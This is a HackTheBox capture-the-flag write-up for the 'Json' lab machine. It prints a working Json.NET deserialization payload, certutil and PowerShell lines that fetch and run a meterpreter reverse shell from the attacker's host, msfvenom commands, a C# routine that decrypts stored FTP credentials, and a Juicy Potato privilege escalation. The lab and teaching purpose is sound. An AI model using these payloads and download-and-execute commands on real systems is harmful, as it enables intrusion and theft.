HackTheBox - Json

12 minute read

Json was a fun 30 point box created by Cyb3rb0b. It started out by finding a Json.Net deserialization error which leads you to ysoserial.net, you then create a JSON deserialization payload to get code execution and subsequently return a shell. You can then either find and decrypt credentials to login via FTP and get the flag, or you can get SYSTEM via Juicy Potato.

User.txt

Nmap


We start the box with a quick TCP nmap scan:

# ports=$(nmap -sT -p- --min-rate=5000 --max-retries=2 10.10.10.158 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) && 
nmap -sV -sC -T4 -p$ports 10.10.10.158

PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          FileZilla ftpd
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
80/tcp    open  http         Microsoft IIS httpd 8.5
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/8.5
|_http-title: Json HTB
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
49158/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 3h59m58s, deviation: 0s, median: 3h59m58s
|_nbstat: NetBIOS name: JSON, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:26:f9 (VMware)
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-02-14T13:38:14
|_  start_date: 2020-02-14T12:45:44


HTTP


Browsing to http://10.10.10.158/ presents the following page:


However you are quickly redirected to http://10.10.10.158/login.html and prompted to login:


Login.html


Intercepting a login request with burp reveals a POST request is being made to /api/token:

POST /api/token HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/login.html
Content-Type: application/json;charset=utf-8
Content-Length: 37
Connection: close

{"UserName":"test","Password":"test"}

Sending this to repeater and pressing Send reveals that the "User Not Exists":

HTTP/1.1 404 Not Found
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 14 Feb 2020 13:44:39 GMT
Connection: close
Content-Length: 17

"User Not Exists"


Credentials


After playing around with common credential combinations, admin / admin succeeded:

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=;  expires=Fri, 14-Feb-2020 13:49:38 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 14 Feb 2020 13:47:38 GMT
Connection: close
Content-Length: 0

The http://10.10.10.158/index.html page however offered little functionality to the end user and was comprised mainly of broken links.


HTTP History


Checking out the HTTP History tab in burp reveals a GET request was made to /api/Account/:

GET /api/Account/ HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0= 

You’ll notice an additional Bearer token included in the request, unlike the previous POST request to /api/token/. The Bearer and the OAuth2 values Base64 decode to the following:

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}


Json Deserialization


After playing around with the Bearer token I removed a single " from the Json string:

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name:"User Admin HTB","Rol":"Administrator"}

I then Base64 encoded and sent the string in place of the original Bearer token and received an interesting response:

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 14 Feb 2020 14:10:30 GMT
Connection: close
Content-Length: 145

{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null} 

A 500 Internal Server Error and a Json.Net deserialization error message is included in the response.


ysoserial.net


ysoserial.net is a deserialization payload generator for a variety of .NET formatters.

The aim being here that we can generate a payload and then Base64 encode it and send it in the Bearer header, it will then be deserialized and subsequently executed and we will have code execution on the underlying host.

The ObjectDataProvider gadget payload works and the first payload I used is shown below (ping back):

{'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c ping 10.10.15.86']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

Base64 encode the payload so it becomes:

eyckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywKICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jIHBpbmcgMTAuMTAuMTUuODYnXQogICAgfSwKICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30KfQ==

Then send it in the GET request to /api/Account/:

GET /api/Account/ HTTP/1.1
Host: 10.10.10.158
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.10.10.158/index.html
Bearer: eyckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywKICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jIHBpbmcgMTAuMTAuMTUuODYnXQogICAgfSwKICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30KfQ== 
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Running tcpdump -i tun0 icmp allows us to monitor icmp requests made back to us from the injected ping command. You can see below that the ping payload was successful:

# tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
05:36:35.481740 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 5, length 40
05:36:35.481801 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 5, length 40
05:36:36.493823 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 6, length 40
05:36:36.493844 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 6, length 40
05:36:37.510363 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 7, length 40
05:36:37.510383 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 7, length 40
05:36:38.522395 IP 10.10.10.158 > 10.10.15.86: ICMP echo request, id 1, seq 8, length 40
05:36:38.522415 IP 10.10.15.86 > 10.10.10.158: ICMP echo reply, id 1, seq 8, length 40


Shell


With code execution the next step is to get a shell. I created a meterpreter payload with msfvenom, started a multi/handler, a Python SimpleHTTPServer, and then used the following payload to download and execute the shell:

{'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c  certutil.exe -urlcache -split -f http://10.10.15.86/shell.exe C:\\programdata\\shell.exe & C:\\programdata\\shell.exe'] 
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

First generate the shell:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.86 LPORT=443 -f exe > shell.exe

Then start the Python SimpleHTTPServer:

# python -m SimpleHTTPServer 80

Finally start an msfconsole multi/handler for the payload, lhost, and lport. I created the following script to speed up the multi/handler setup process:

# ./handler.sh windows/meterpreter/reverse_tcp 10.10.15.86 443 

With everything in place you need to send the Base64 encoded string of the payload:

eyckdHlwZSc6J1N5c3RlbS5XaW5kb3dzLkRhdGEuT2JqZWN0RGF0YVByb3ZpZGVyLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1JywKICAgICdNZXRob2ROYW1lJzonU3RhcnQnLAogICAgJ01ldGhvZFBhcmFtZXRlcnMnOnsKICAgICAgICAnJHR5cGUnOidTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODknLAogICAgICAgICckdmFsdWVzJzpbJ2NtZCcsJy9jICBjZXJ0dXRpbC5leGUgLXVybGNhY2hlIC1zcGxpdCAtZiBodHRwOi8vMTAuMTAuMTUuODYvc2hlbGwuZXhlIEM6XFxwcm9ncmFtZGF0YVxcc2hlbGwuZXhlICYgQzpcXHByb2dyYW1kYXRhXFxzaGVsbC5leGUnXQogICAgfSwKICAgICdPYmplY3RJbnN0YW5jZSc6eyckdHlwZSc6J1N5c3RlbS5EaWFnbm9zdGljcy5Qcm9jZXNzLCBTeXN0ZW0sIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5J30KfQ== 

You’ll see the shell was fetched:

# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.158 - - [14/Feb/2020 05:44:54] "GET /shell.exe HTTP/1.1" 200 -

And a meterpreter session was quickly returned:

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information           Connection
  --  ----  ----                     -----------           ----------
  1         meterpreter x86/windows  JSON\userpool @ JSON  10.10.15.86:443 -> 10.10.10.158:49700 (10.10.10.158)

msf5 exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: JSON\userpool
meterpreter > sysinfo 
Computer        : JSON
OS              : Windows 2012 R2 (6.3 Build 9600).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows

The shell died occasionally so I ran post/windows/manage/migrate:

meterpreter > run post/windows/manage/migrate 

[*] Running module against JSON
[*] Current server process: shell.exe (1708)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 2676
[+] Successfully migrated to process 2676


Flag


With a shell as userpool you can simply type the user flag:

c:\Users\userpool\Desktop>type user.txt
type user.txt
34459a...



Root.txt

SyncLocation.exe


Browsing the file system you’ll notice a Sync2Ftp directory in C:\progra~1\:

c:\PROGRA~1>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 68B8-7F1E

 Directory of c:\PROGRA~1

08/08/2019  06:04 PM    <DIR>          .
08/08/2019  06:04 PM    <DIR>          ..
08/08/2019  06:04 PM    <DIR>          Common Files
11/21/2014  06:24 AM    <DIR>          Embedded Lockdown Manager
08/08/2019  06:04 PM    <DIR>          Internet Explorer
05/22/2019  03:37 PM    <DIR>          MSBuild
05/22/2019  03:37 PM    <DIR>          Reference Assemblies
05/23/2019  02:06 PM    <DIR>          Sync2Ftp * 
05/22/2019  03:28 PM    <DIR>          VMware
08/08/2019  06:04 PM    <DIR>          Windows Mail
08/08/2019  06:04 PM    <DIR>          Windows Media Player
08/08/2019  06:04 PM    <DIR>          Windows Multimedia Platform
08/08/2019  06:04 PM    <DIR>          Windows NT
08/08/2019  06:04 PM    <DIR>          Windows Photo Viewer
08/08/2019  06:04 PM    <DIR>          Windows Portable Devices
11/21/2014  06:24 AM    <DIR>          WindowsPowerShell
               0 File(s)              0 bytes
              16 Dir(s)  62,466,998,272 bytes free

Checking out the contents of this directory you can see two files, a SyncLocation.exe executable and a SyncLocation.exe.config configuration file:

c:\PROGRA~1\Sync2Ftp>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 68B8-7F1E

 Directory of c:\PROGRA~1\Sync2Ftp

05/23/2019  02:06 PM    <DIR>          .
05/23/2019  02:06 PM    <DIR>          ..
05/23/2019  01:48 PM             9,728 SyncLocation.exe
05/23/2019  02:08 PM               591 SyncLocation.exe.config

The contents of the configuration file is shown below:

c:\PROGRA~1\Sync2Ftp>type SyncLocation.exe.config
type SyncLocation.exe.config
<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="destinationFolder" value="ftp://localhost/"/>
    <add key="sourcefolder" value="C:\inetpub\wwwroot\jsonapp\Files"/>
    <add key="user" value="4as8gqENn26uTs9srvQLyg=="/>
    <add key="minute" value="30"/>
    <add key="password" value="oQ5iORgUrswNRsJKH9VaCw=="></add>
    <add key="SecurityKey" value="_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%"/>
  </appSettings>
  <startup>
    <supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2" />
  </startup>


</configuration>

The main things that stand out here are the user, password, and SecurityKey keys and values. The credentials are encrypted, so we most likely need the SecurityKey and the decrypt function from the executable in order to decrypt the credentials.


Binary Analysis


Analysing the binary you’ll notice the Decrypt method shown below:

public static string Decrypt(string cipherString, bool useHashing)
{
	byte[] array = Convert.FromBase64String(cipherString);
	AppSettingsReader appSettingsReader = new AppSettingsReader();
        string s = (string)appSettingsReader.GetValue("SecurityKey", typeof(string)); 
	byte[] key;
	if (useHashing)
	{
		MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
		key = mD5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
		mD5CryptoServiceProvider.Clear();
	}
	else
	{
		key = Encoding.UTF8.GetBytes(s);
	}
	TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
	tripleDESCryptoServiceProvider.Key = key;
	tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
	tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
	ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
	byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
	tripleDESCryptoServiceProvider.Clear();
	return Encoding.UTF8.GetString(bytes);
}

Coupling the Decrypt function (with SecurityKey included) with the Console.WriteLine method, you’re able to print the plaintext values for the user and password:

using System;
using System.Configuration;
using System.Security.Cryptography;
using System.Text;

public class Json
{
    public static void Main()
		
	{
		Console.WriteLine(Decrypt("4as8gqENn26uTs9srvQLyg==", true));
		Console.WriteLine(Decrypt("oQ5iORgUrswNRsJKH9VaCw==", true));
	}

    public static string Decrypt(string cipherString, bool useHashing)
    {
	byte[] array = Convert.FromBase64String(cipherString);
	AppSettingsReader appSettingsReader = new AppSettingsReader();
	string s = ("_5TL#+GWWFv6pfT3!GXw7D86pkRRTv+$$tk^cL5hdU%");
	byte[] key;
	if (useHashing)
	{
		MD5CryptoServiceProvider mD5CryptoServiceProvider = new MD5CryptoServiceProvider();
		key = mD5CryptoServiceProvider.ComputeHash(Encoding.UTF8.GetBytes(s));
		mD5CryptoServiceProvider.Clear();
	}
	else
	{
		key = Encoding.UTF8.GetBytes(s);
	}
	TripleDESCryptoServiceProvider tripleDESCryptoServiceProvider = new TripleDESCryptoServiceProvider();
	tripleDESCryptoServiceProvider.Key = key;
	tripleDESCryptoServiceProvider.Mode = CipherMode.ECB;
	tripleDESCryptoServiceProvider.Padding = PaddingMode.PKCS7;
	ICryptoTransform cryptoTransform = tripleDESCryptoServiceProvider.CreateDecryptor();
	byte[] bytes = cryptoTransform.TransformFinalBlock(array, 0, array.Length);
	tripleDESCryptoServiceProvider.Clear();
	return Encoding.UTF8.GetString(bytes);
    }
}

Running the code with dotnet or an online compiler will print the credentials:

superadmin
funnyhtb


FTP


The credentials login successfully to FTP and we can view any file in the superadmin directory:

# ftp 10.10.10.158                                                                 
Connected to 10.10.10.158.                                                           
220-FileZilla Server 0.9.60 beta                                                     
220-written by Tim Kosse (tim.kosse@filezilla-project.org) 
220 Please visit https://filezilla-project.org/            
Name (10.10.10.158:root): superadmin                                                 
331 Password required for superadmin                                                 
Password: funnyhtb
230 Logged on                                                               
Remote system type is UNIX.                                                      
ftp> dir
200 Port command successful
150 Opening data channel for directory listing of "/"
drwxr-xr-x 1 ftp ftp              0 May 22  2019 AppData
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Application Data
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Contacts
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Cookies
drwxr-xr-x 1 ftp ftp              0 Aug 12  2019 Desktop
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Documents
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Downloads
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Favorites
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Links
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Local Settings
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Music
drwxr-xr-x 1 ftp ftp              0 May 22  2019 My Documents
drwxr-xr-x 1 ftp ftp              0 May 22  2019 NetHood
-r--r--r-- 1 ftp ftp         524288 Feb 15 09:11 NTUSER.DAT
-r--r--r-- 1 ftp ftp         286720 May 22  2019 ntuser.dat.LOG1
-r--r--r-- 1 ftp ftp         159744 May 22  2019 ntuser.dat.LOG2
-r--r--r-- 1 ftp ftp          65536 May 22  2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TM.blf
-r--r--r-- 1 ftp ftp         524288 May 22  2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TMContainer00000000000000000001.regtrans-ms 
-r--r--r-- 1 ftp ftp         524288 May 22  2019 NTUSER.DAT{a8bf096c-714a-11e4-80c0-a4badb286356}.TMContainer00000000000000000002.regtrans-ms 
-r--r--r-- 1 ftp ftp             20 May 22  2019 ntuser.ini
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Pictures
drwxr-xr-x 1 ftp ftp              0 May 22  2019 PrintHood
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Recent
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Saved Games
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Searches
drwxr-xr-x 1 ftp ftp              0 May 22  2019 SendTo
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Start Menu
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Templates
drwxr-xr-x 1 ftp ftp              0 May 22  2019 Videos


Flag


With access to the superadmin directory you can check the Desktop directory and get the root flag:

ftp> cd desktop
250 CWD successful. "/desktop" is current directory.

ftp> dir
200 Port command successful
150 Opening data channel for directory listing of "/desktop"
-r--r--r-- 1 ftp ftp            282 May 22  2019 desktop.ini
-r--r--r-- 1 ftp ftp             32 May 22  2019 root.txt
226 Successfully transferred "/desktop"

ftp> get root.txt
local: root.txt remote: root.txt
200 Port command successful
150 Opening data channel for file download from server of "/desktop/root.txt"
226 Successfully transferred "/desktop/root.txt"
32 bytes received in 0.00 secs (452.8985 kB/s)

ftp> exit
221 Goodbye

root@kali:~# cat root.txt 
3cc85d...



Alternative Root

Privileges


Manually enumerating you’ll notice SeImpersonatePrivilege is enabled:

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State  
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token             Enabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Enabled
SeAuditPrivilege              Generate security audits                  Enabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled *
SeIncreaseWorkingSetPrivilege Increase a process working set            Enabled

For more information on token privileges, please check out the following repo.


Juicy Potato


With a stable meterpreter shell I ran post/multi/recon/local_exploit_suggester. This displays exploits that the host is potentially vulnerable to:

meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.10.158 - Collecting local exploits for x86/windows...
[*] 10.10.10.158 - 29 exploit checks are being tried...
[+] 10.10.10.158 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
[+] 10.10.10.158 - exploit/windows/local/ikeext_service: The target appears to be vulnerable.
[+] 10.10.10.158 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
[+] 10.10.10.158 - exploit/windows/local/ms16_075_reflection: The target appears to be vulnerable.
[+] 10.10.10.158 - exploit/windows/local/ms16_075_reflection_juicy: The target appears to be vulnerable

Given the privilege information displayed in the last section, the ms16_075_reflection_juicy stands out as this is the juicy potato exploit. The module didn’t seem to work, there is however a script that automates the exploitation for us called Lovely-Potato.

There is also an executable you can use to exploit this that can be found here.

Following the instructions from Lovely-Potato, I created another msfvenom payload:

# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.15.86 LPORT=1234 -f exe -o meterpreter.exe

Then edited the Invoke-LovelyPotato.ps1 configuration accordingly:

    # Configuration
    $RemoteDir = "http://10.10.15.86"
    $LocalPath = "c:\programdata\"

Start a Python http.server:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Then set up another msfconsole multi/handler:

# ./handler.sh windows/meterpreter/reverse_tcp 10.10.15.86 1234

With all this setup you then run the following command in our first shell:

c:\programdata> powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.86/Invoke-LovelyPotato.ps1')

The following files are downloaded upon execution:

# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.158 - - [14/Feb/2020 06:13:00] "GET /Invoke-LovelyPotato.ps1 HTTP/1.1" 200 -
10.10.10.158 - - [14/Feb/2020 06:13:00] "GET /JuicyPotato-Static.exe HTTP/1.1" 200 -
10.10.10.158 - - [14/Feb/2020 06:13:00] "GET /test_clsid.bat HTTP/1.1" 200 -
10.10.10.158 - - [14/Feb/2020 06:13:01] "GET /meterpreter.exe HTTP/1.1" 200 -

As instructed, you have to wait approximately 10 minutes for the meterpreter shell to be returned.

Flag


With a meterpreter shell returned you can type the root flag:

C:\Users\superadmin\Desktop>type root.txt
type root.txt
3cc85d...